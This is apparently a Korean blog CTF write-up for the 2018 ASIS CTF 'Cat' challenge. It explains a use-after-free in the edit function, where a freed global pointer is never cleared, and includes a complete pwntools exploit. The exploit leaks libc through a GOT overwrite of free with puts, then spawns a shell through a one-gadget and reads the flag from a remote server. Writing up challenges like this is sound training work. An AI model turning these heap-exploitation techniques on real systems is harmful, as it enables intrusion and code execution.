2018_Asis_CTF Cat
CTF2018. 5. 3. 00:41
메인 함수를 보자!
이렇게 되어있다!
우선 create 함수를 보면 함수가 한번 실행될 때 3번을 할당한다.
먼저 포인터 청크를 하나 만들고 name 청크 kind 청크를 만들어서 관리한다.
그 다음으로 edit 함수를 보자
create와 같이 청크 3개를 할당한다.
n을 누르면 free를 하는데 전역변수 0x6020f0을 0으로 초기화 시키지 않는다. 그렇게 되면 다음부터 edit 함수를 쓸 때는 할당하지 않고 바로 0x6020f0쪽에 값을 넣을 수 있게 된다. 그래서 그쪽에 청크를 만들고 edit을 시키면 청크 포인터를 조작할 수 있다.
나는 그걸 이용해서 free를 puts로 덮어서 릭을 하고 다시 free를 one_shot으로 덮어서 풀었다. print 함수를 썼으면 free를 puts로 안덮고 그냥 릭할 수 있었는데 까먹었었다 ㅎㅎ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | from pwn import* #p=process("./Cat") p=remote('178.62.40.102',6000) elf = ELF("./Cat") def create(name,kind,old): p.sendlineafter("> ","1") p.sendlineafter("> ",name) p.sendlineafter("> ",kind) print p.sendlineafter("> ",str(old)) def modify(idx,name,kind,old,select): p.sendlineafter("> ","2") p.sendlineafter("> ",str(idx)) p.sendlineafter("> ",name) p.sendlineafter("> ",kind) p.sendlineafter("> ",str(old)) print p.sendlineafter("n> ",select) def print1(idx): p.sendlineafter("> ","3") print p.sendlineafter("> ",str(idx)) def print2(idx): p.sendlineafter("> ","4") def delete(idx): p.sendlineafter("> ","5") p.sendlineafter("> ",str(idx)) create("AAAA","AAAA",10) modify(0,"BBBB","BBBB",10,"n") create(p64(elf.got["free"]),p64(elf.got["free"]),10) modify(0,p64(elf.plt["puts"]),"T"*16+p32(elf.got["puts"]),"1","n") delete(0) puts = u64(p.recv(6)+"\x00\x00") base = puts-0x6f690 one = base+0xf02a4 print "puts: " + hex(puts) print "base: " + hex(base) modify(1,p64(one),"T"*16,10,"n") p.sendline("cat /home/pwn/flag") p.interactive() | cs |
'CTF' 카테고리의 다른 글
2015 Codegate final yocto (0) | 2018.05.09 |
---|---|
2018_Asis_CTF Just Sort! (0) | 2018.05.03 |
2018 HITB-XCTF d (0) | 2018.04.15 |
2018 Codegate Final heapbabe & 후기 (0) | 2018.04.08 |
2017 Codegate Final building_owner (0) | 2018.03.29 |